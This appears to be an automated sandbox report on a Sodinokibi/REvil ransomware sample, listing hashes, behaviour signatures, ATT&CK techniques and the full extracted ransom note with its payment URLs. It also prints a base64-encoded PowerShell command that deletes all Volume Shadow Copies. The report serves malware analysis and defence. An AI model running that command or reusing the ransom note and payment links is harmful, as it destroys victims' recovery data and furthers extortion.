Overview

overview

10

Static

static

10

67cd75a0e5...d9.exe

windows7_x64

10

67cd75a0e5...d9.exe

windows10_x64

10

Analysis

  • max time kernel
    146s
  • max time network
    165s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 01:54

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General

  • Target

    67cd75a0e5e0885bb6d59b6747747473ebdef00f2870ca3eb3a4e144ae283dd9.exe

  • Size

    164KB

  • MD5

    4694aadbffcf9e5e745465caa1e89b27

  • SHA1

    752ea9be5401f8f63a10e98342371b5f9ef3dd77

  • SHA256

    67cd75a0e5e0885bb6d59b6747747473ebdef00f2870ca3eb3a4e144ae283dd9

  • SHA512

    1c2834a0b82c0004454df953ad9a229e0eb9eabc68b67b5f9df7afb809b528f4af7a278abc62992eb35d49135018f20e4ba337e727040545c18ef508319ba3bf

Score
10/10
sodinokibipersistenceransomware

Malware Config

Extracted

Path

C:\008cvy-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 008cvy. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8090DAEE1F8BFED7 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/8090DAEE1F8BFED7 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: x8N0ACzV1/dHsxlExDrwWomvCy99UPncs6h4rblVYH/GTRUfpdkZPaOvHpg/kT4I nOTFsjmbIzvGHpBSfgj55qCSm/fq+CKT2SjHrRIckYXOntEhGDgBFFVkHC+vDS9o H8YQlX5KlNIwgzw1gg7vv4uzKOZVHXUxlDfaUv2E/u8MDPzatI8vRLgtxigP4IzP xk4bBdG+IzCniuqH5ZBeVHUukgBUsZ+j41f/rirT4kgVLMn4EKNFBrHqKCguU4aM k4chdzDDJ1yWkfT+yFXXgYnvMwDyK9QyEVhAVIyR8xHjQIQKuG/MH/VzfzCx26ww xYVHI3SnpFzK9rouFaNSITlxzBb4w91jRkeyv2mKmS7zjuUMEQTmDFx35dtUiC7p gEvnPloM8g4foxzVdLkV7yPyo+VQ+7JulbEPwHQgPgj5pOdc200iTpfat11B/tY8 jZ/fhTVEuQzLZplT2hxUdhrWpD6iUMjlFeBVWHG+UO8sArc8mYBv1nZRcjArxMSR wNfO2pZPbIClo1lgO2qe1m26VBcXrN6KbbgVQnsrXlEKsyn0hoRl37E36F7W92oh 8mRDg9GZzQNEYRGDwjMgvt14RkJLl5OSG0xhWU91ICqBDcFvHFwfXzpgShrmdrpW l0aSy1VJVW+CeKMRRWn8qYo/RermlJaCXAyZ96pMNOD1OUK/ru+6Rkw9X2AWIUXB UuU23IRZNk3wcGneP5xr46ZgtsuIrXliJxbMe2jrHMTZIIYDVsLKaLi5/1StMzAU rrKoV3ieh/ODyMFO0JprYMBR+VhFigI2CExlhQygXBrAS7hCFrVDpaYzUY7+VuAw 4y0J8MI2QT0Dxd30r6fPyCNIutocjY8heDqZYGc1a7C93tMnalQCfnF6GPyS/Jtb Wz0l0ydkVAxrowLhsmdTexGPQ7vkN/yyBWMdAMinDjwC4kRj+nvv9Oypd7rQBGJA axknlw/jPDZQiWde0f0nX5bx2Mc9YHz/mGn4JSXusyxhDiN0Y9aZltB0ArGRhUFw Ry8VN+mtHFh6OonsaEb64HO05nOEYMzKaaBGX86pOJfpZZEfotpvsgyXm8bBB00/ gJli5CxQdUaM5I3b0psiZZ4aFEeldiKoPY9SUH4bMWoH77YwpIlxbtTBl0hVJKuE xpBHjg== Extension name: 008cvy -------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8090DAEE1F8BFED7

http://decryptor.top/8090DAEE1F8BFED7

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 18 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\67cd75a0e5e0885bb6d59b6747747473ebdef00f2870ca3eb3a4e144ae283dd9.exe
    "C:\Users\Admin\AppData\Local\Temp\67cd75a0e5e0885bb6d59b6747747473ebdef00f2870ca3eb3a4e144ae283dd9.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:268
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1048
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1140

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Privilege Escalation

    Defense Evasion

    Modify Registry

    3
    T1112

    Install Root Certificate

    1
    T1130

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/268-55-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp
      Filesize

      8KB

      Download
    • memory/268-57-0x0000000001E30000-0x0000000001E32000-memory.dmp
      Filesize

      8KB

      Download
    • memory/268-59-0x0000000001E34000-0x0000000001E37000-memory.dmp
      Filesize

      12KB

      Download
    • memory/268-58-0x0000000001E32000-0x0000000001E34000-memory.dmp
      Filesize

      8KB

      Download
    • memory/268-56-0x000007FEF3510000-0x000007FEF406D000-memory.dmp
      Filesize

      11.4MB

      Download
    • memory/268-60-0x000000001B740000-0x000000001BA3F000-memory.dmp
      Filesize

      3.0MB

      Download
    • memory/268-61-0x0000000001E3B000-0x0000000001E5A000-memory.dmp
      Filesize

      124KB

      Download
    • memory/1616-54-0x0000000076921000-0x0000000076923000-memory.dmp
      Filesize

      8KB

      Download